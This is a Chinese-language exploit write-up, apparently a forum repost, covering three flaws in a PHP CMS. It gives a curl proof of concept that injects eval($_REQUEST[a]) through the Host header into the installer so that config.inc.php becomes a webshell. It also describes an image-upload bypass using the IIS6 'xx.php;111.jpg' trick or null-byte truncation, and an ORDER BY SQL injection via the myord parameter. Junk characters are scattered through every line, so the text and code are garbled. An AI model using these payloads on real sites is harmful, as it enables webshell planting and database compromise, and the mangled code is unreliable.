注入:, u; @& V: M Y& o& _! f
# X8 G) P/ \8 P) q+ ~之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
% J% i2 z8 G) a; n0 {- V
3 b% C. L( j8 t5 ?3 c$ Q* c6 G# V( l鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件6 D2 E( l) ^3 q3 _
鸡肋2: 有一定安全常识的站长都会删掉 install 目录8 B/ S3 c) \3 J! h0 e0 k/ D
: _1 x. ~; s8 }# I2 D+ r, ^
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
* |9 e: b7 T. P8 H1 Q' f @! K" n, U- }& }
分析:
! U3 x- o! i& i1 N - Y |$ J. I9 P7 h7 }, |1 M0 S( S" T
$ U% ]; ^/ w; ?9 R
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤) J- N6 E+ a( Z& p
, V2 q; q0 z6 \- e' Y' H6 j
$filestr = fread(fopen($SysConfigFile, 'r'),30000);; e8 q& l" d4 ^! L
$filestr=str_replace(" ","",$filestr);
1 E5 n: g N8 H& W8 b0 _. k $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
9 B. {+ D9 u) n7 f# d $filestr=str_replace("DefaultDbName",$dbname,$filestr);: j4 O) v6 V0 T" `# k
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
/ b/ X L- ?* O" G: j $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);$ L$ y# C% e6 o+ {
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
. y% x H8 z* W5 [# q+ J7 }9 a $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);3 ]/ U+ p6 |9 n3 e) ~; @3 W/ v
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);2 d/ Z" [# K6 D
& x3 X! j- _. v) S. b8 b! l! ^
fwrite(fopen($ConFile,"w"),$filestr,30000);
8 S9 ^: G- ]) n: B: o$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^# s: y# P5 k" ?- y
- v( m! K* @2 G" d0 p
poc:+ C6 q5 \( K2 t" a6 e+ \
u5 k' @$ j) ~3 A?
) ]$ _7 e' U7 `0 L' t. u( j10 |6 x& j f- Q a; p3 x
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
0 U% e: l, [. ? }8 Oshell地址: /config.inc.php
. W \' V. z& d3 }: s: p! ? `跟之前的 phpcms一样 需要远程数据库4 `# l! j3 H8 r! }. |* b* R
6 F1 H) [. m, W: f7 }. A2 T——————————————————–$ m8 H# w0 c; v+ w3 |# L
上传漏洞(需要进后台):
" j- z) k, T2 Q) A漏洞文件: /kedit/upload_cgi/upload.php) a6 `$ M1 E u0 B$ x* ~
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
5 \+ p2 K ^+ }5 M9 H2 y0 D
9 h8 C, g" H7 g" W) `+ n9 _- {. B# h
% N9 b, h- c% f! x* v<?php) N9 Q" z) N+ N
define("ROOTPATH", "../../");- O3 n6 p& R% a' S+ ]5 D
include(ROOTPATH."includes/admin.inc.php");
K% r A3 J, B/ q NeedAuth(0);
7 j3 B. N- u: E1 p/ J. g$ @# F
- a' q, E* z" }( F0 x $dt=date("Ymd",time());- L$ c* X" g2 e! T) m4 M
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
8 r2 d' K! `1 l6 r' J0 D% ~ @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
& i: s- P1 C5 o }
! ]# \: D5 h' X) X 5 u3 S% e, j$ r; E4 o
//文件保存目录路径7 E# y" L) J& Q7 F% O
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';- _4 k& `2 P' b Q( L
echo $save_path;
% \4 K- y) a. E7 s0 H# F" h //文件保存目录URL4 |5 R) L- D2 G5 v8 m/ | {
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
; g. }. W; {2 I( p8 \9 k- k7 ~
B& O5 F6 I7 P; V0 @8 y" R5 b- A //定义允许上传的文件扩展名
j, Q: J& ^, Z* z- s, | $ext_arr = array('gif','jpg','png','bmp'); //限制后缀# ~. b% p) l3 [+ c
9 G4 ^; \0 W" m1 v3 M
//最大文件大小
; K* v6 } \2 X $max_size = 1000000;
( S" m& y, v8 R4 R
2 _. K% @- F2 ^2 D: j3 E //更改目录权限
' `% P% ~" S* u" [. k) J8 q- Z @mkdir($save_path, 0777);
9 W0 j9 F/ `2 ~- v
% y+ X4 m) a+ w- j) Z9 D //文件的全部路径
* \9 S, _7 j3 k, i* U& O& C3 O $file_path = $save_path.$_POST['fileName']; //保存文件名
% `, g6 N- S. J. E" F; p5 Q 4 n4 ~$ |* D" ?& ?% h) U: E6 x/ h
//文件URL. i- t1 M' l3 i% a
$file_url = $save_url.$_POST['fileName'];" Z3 u: ~2 T8 d# U3 X; i9 b/ s9 d
//有上传文件时0 U& n% s4 k {$ y' f2 O) Q
if (empty($_FILES) === false) {
0 A- H, \8 Y+ B0 l 6 }! B4 a- D a& Y
//原文件名
2 f/ s. z8 {* C5 g# E. } $file_name = $_FILES['fileData']['name'];0 [9 C2 x5 s3 E- b( S. X3 h
//服务器上临时文件名
" z7 j3 h8 x9 C" e $tmp_name = $_FILES['fileData']['tmp_name'];
# v3 h8 B) _" J w2 ?4 d n2 T //文件大小
$ z1 q" m2 ~+ z v% \ $file_size = $_FILES['fileData']['size'];1 I, W3 ?& Z& {* v5 |
//检查目录" A1 h* s1 }" w; L" H, R
if (@is_dir($save_path) === false) {3 f+ F2 a/ E' j3 X8 e. B" c0 f
alert("上传目录不存在。");8 h7 k1 o+ Y* p# L
}
6 E# i' U P, { //检查目录写权限9 a7 U# \4 D3 n5 O
if (@is_writable($save_path) === false) {! `7 @3 J& c/ k% _
alert("上传目录没有写权限。");# T' B! p- ?+ X$ K& ~
}
% A3 U1 a; t" u) ?; C/ T //检查是否已上传
( p$ D5 u4 f. Q. v- ^0 c( a+ I. | if (@is_uploaded_file($tmp_name) === false) {0 P/ Z. h* c* K( j" C( O% v
alert("临时文件可能不是上传文件。");
; A1 m S7 L! A* S, x0 L }9 q7 G1 p& k/ T
//检查文件大小$ B9 g# ^2 E% C* ~
if ($file_size > $max_size) {! p! s7 j- ^3 b- N0 k' R/ r
alert("上传文件大小超过限制。");
2 c/ j7 j$ R0 R" `) j& \$ q. P* j }
; M' p5 }7 Z7 h T4 R% D //获得文件扩展名! [0 e$ a) S8 }6 H- G! M
$temp_arr = explode(".", $_POST['fileName']);
/ N7 p$ `5 _- m6 R: n $file_ext = array_pop($temp_arr);
3 I7 J7 Q6 `3 E3 ? $file_ext = trim($file_ext);3 i! x7 n) h: z0 q
$file_ext = strtolower($file_ext);7 S. ?7 F2 ]# L6 P0 u7 ]: W$ n
8 F4 U/ f3 r1 Y' ^# l
//检查扩展名
1 H: n7 B7 {2 E" _ if (in_array($file_ext, $ext_arr) === false) {
# u& U4 X+ H7 S7 v: v2 O6 y; E alert("上传文件扩展名是不允许的扩展名。");
0 }# G; D6 f9 W& E) Q, V- N }
9 J0 V0 X% J! \
$ ^0 G1 _% v) ?6 r0 N. D //移动文件
5 x9 a) x1 j9 Y& x& m: q //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^' V3 \- Z1 V8 O2 V# F
if (move_uploaded_file($tmp_name, $file_path) === false) {( Z* @' r" o4 H) v
alert("上传文件失败。");
9 n" P( ]( m0 n2 {5 Z4 F3 s }. @, d% U4 \7 b9 i9 r
$ O1 {* H' {5 g3 ^9 M/ F1 c, P$ Z @chmod($file_path,0666);: P6 Y) W, G8 N4 y: O! _2 o6 M
' j* T# E7 X$ K3 F ?>
- d2 D8 |! m4 {3 F抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
: Q; Y, o2 a1 l1 l( G* J - @1 e/ D. V5 H) l4 C7 d5 {9 {/ l
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
! j1 V- t, J$ K8 b2 F+ @6 H2 k, z5 c
* K. a- k. {2 S0 }: k; ~: f——————————————————# d6 y7 ?: W7 S+ Q6 K- A
注入漏洞:
, F- K) s) [, g( H8 L! k5 c0 A* t漏洞文件:search/module/search.php
. |4 q. k ~! W" N' n/search/index.php?key=1&myord=1 [sqlinjection]
1 F* e- m' ?) I q- e4 A 0 {8 p( o$ f: l, v8 ^( R) y
. Y% `. k2 T& S+ q( W; P
<?php
]- c* _/ E2 S" Y // ... 省略 n 行.... i9 D! [8 f- g5 G: y
//第18行:! d. _. l9 D [3 _6 y" f
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
% f L& j4 w, R" Z$ V: J $page=htmlspecialchars($_GET["page"]);
2 e( U/ P) u* S! z $myord=htmlspecialchars($_GET["myord"]);
7 L8 |5 y( e' }2 K7 e0 P7 |! I% f
. U Q7 j& l, [2 n7 i! L+ {: d // ... 省略 n 行...2 V& e3 a4 Z2 M, d9 A
$key,$myord 两个参数带入查询5 x) r) p) L1 V$ i6 b. Z; a: w3 w
//第47行 $key:
' ~$ J" y+ l/ \" y1 F7 J
6 S. u* z. w h; N( t% J' o2 k $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..! A* g% E! X: `& ?/ a R0 M/ M
% ?3 L0 B6 F$ z8 S2 l6 F! C+ @ //第197行 $myord) f' B( s4 v! T0 J* ]
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入, G) T6 W3 p2 z4 r
+ D1 l- y w8 W: a( S/ ]* _" i" K ?>4 _0 R8 @0 t8 @/ S& T( ]
|